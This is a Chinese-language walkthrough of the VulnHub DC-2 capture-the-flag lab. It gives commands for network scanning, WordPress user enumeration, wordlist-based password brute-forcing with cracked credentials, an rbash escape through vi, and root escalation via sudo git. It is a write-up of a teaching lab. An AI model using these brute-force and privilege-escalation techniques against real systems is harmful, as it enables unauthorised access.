写在前面:本站内容仅供技术交流分享,切勿非法使用,一切技术后果自行承担
上期回顾:VulnHub DC 1 通关纪实
DC 2 靶机下载地址:https://www.vulnhub.com/entry/dc-2,311/
渗透主机:kali 2020
涉及渗透技术:
- nmap 等扫描
- 本地域名解析
- wpscan 扫描和攻击
- cewl针对性字典生成
- git 提权
DC2题目描述:
0x01 搭建靶机
和 DC1 一样,这里我们直接搭建在 VM 里面,保障靶机和渗透主机在同一网段即可,这里我们网络模式选择 NAT 模式,即共享IP地址
0x02 信息收集
渗透主机地址:192.168.80.128
ifconfig
靶机地址:192.168.80.131
arp-scan -l
发现ip,直接nmap一顿梭:nmap -A -p- -T4 192.168.80.131
发现开放了80端口和7744端口
然后康康他的网站目录,dirb 一顿梭:dirb http://192.168.80.131
dirb爆破目录
看到熟悉的"wp-admin",基本可以确定是个 wordpress 的网站了
直接浏览器访问一下试试:
emmmm 靶机做了重定向,直接跳转到了http://dc-2,而且还没做域名解析......
我们整理一下信息:
- 靶机开放了80端口
- 80端口重定向到了 http://dc-2
- 靶机CMS框架为 wordpress
- 靶机开放了ssh端口
0x02 尝试浏览器访问
既然靶机没有做域名解析,那就在主机本地做一次域名解析嘛
sudo chmod 777 /etc/hosts
# 修改权限,保证非root也可写可执行
vi /etc/hosts
# 进入vim修改hosts文件
手动添加 dc-2 的解析,保存并退出:
修改hosts文件
然后再次浏览器访问 http://dc-2:
此时看到了经典的WP主题
0x03 寻找初级flag
flag1:
首页好大一个 Flag 按钮,直接点进去康康:
Flag1
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
flag1提示
flag1暗示我们,常用字典可能不管用了,也许需要cewl一下
flag2:
话不多说,直接上 wpscan 开始跑
(为什么不像 DC1 那样直接跑一顿 msf:试过了,只靠现有的payload好像打不下来......
那我们就先康康网站有哪些用户:
wpscan --url http://dc-2 -e u
#扫描wordpress中的发表过文章的用户
枚举用户名
扫描发现三个用户,分别为:admin, jerry, tom
利用刚刚扫描得到的用户信息,通过 cewl 生成密码字典
cewl http://dc-2 -w pass
# 针对 dc-2 这个网站生成字典,并保存在pass文件中
再创建一个user文件,保存刚刚扫出来的三个用户名
pass和user的文件内容
wpscan 爆破用户密码:
wpscan --url http://dc-2 -U user -P pass
# 对dc-2进行爆破,使用的字典为刚刚写的 user 和 pass
直接爆破,发现靶机没做防火墙,那莽就完事了......(我用同样的办法爆破我自己的博客,然后被防火墙封了四个小时www)
爆破结果
此时看到,admin的密码不在字典里面,但是tom and jerry都被爆出来了
- Username: jerry, Password: adipiscing
- Username: tom, Password: parturient
随便挑一个登陆后台,我们在Pages里面看到坨大一个Flag2:
Flag2
点进去康康:
flag2说明
Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
flag2提示
意思就是直接爆破Wordpress是没用的,你得找别的方法进去......(和我们前期msf尝试的结果一样一样的
flag3:
不能从CMS下手,那我们回想一下之前的信息——有一个ssh端口,会不会暗示我们远程登陆???
试一下,正好前面爆破出来两个用户和密码:
ssh tom@192.168.80.131 -p 7744
# 这里加个 -p 是因为靶机的ssh不是常用端口,需要指定一下
然后直接用刚刚爆破出来的密码"parturient"登陆进去:
tom登陆成功
然后四处逛逛,发现他有flag3,但是你看不了,因为你是rbash......
rbash
那先查看一下环境变量:echo $PATH$
还有救,我们尝试用vi转义一下shell,拿一个权限比较高的 bash shell出来
vi
:set shell=/bin/bash
:shell
# 这里利用的是vim命令模式,通过vim命令来设置shell转义
:set shell=/bin/bash
:shell
然后设置环境变量:
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
# 把刚刚设置好的shell导入环境变量中
此时的PATH已经变了
然后尝试cat一下,可以了:
flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
flag3提示
flag4:
flag3暗示我们切换到jerry的用户去(Jerry的密码是adipiscing
su jerry
cd /home/jerry
ls
cat flag4.txt
# 进去直接看到了flag4...
cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
flag4提示
0x04 提权进root,寻找final-flag
先看一眼当前用户:whoami
确认过眼神,还是jerry,没有root从天而降......
先sudo -l
一下,看看jerry有哪些权限:
emmm jerry居然能以root身份去git,那没事了,开始提权
(而且flag4也暗示我们通过git提权,我们就上网找一个poc
sudo git help config
# root权限打开git的配置,注意这里一定要sudo,不然是以普通用户身份打开git
多页分隔,绝佳的poc位点
!/bin/bash
# 直接在config里面输入命令,反弹bash
回车,然后发现我们已经有了root的shell:
此时已是root
然后直接去老家看flag啦:
cd /root
ls
cat final-flag.txt
final-flag
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
Well done!
0x05 小结
整体来说DC2可能比DC1简单一点点,因为没有涉及msf的各种调试和数据库的修改hhh
当然这也可能是我的错觉
这次主要学到了git还能这样玩
# ssh 真危险,吓得我把我博客的ssh关了
下次的题下次再更,我是鸽手(x)
笔芯新
Comments | NOTHING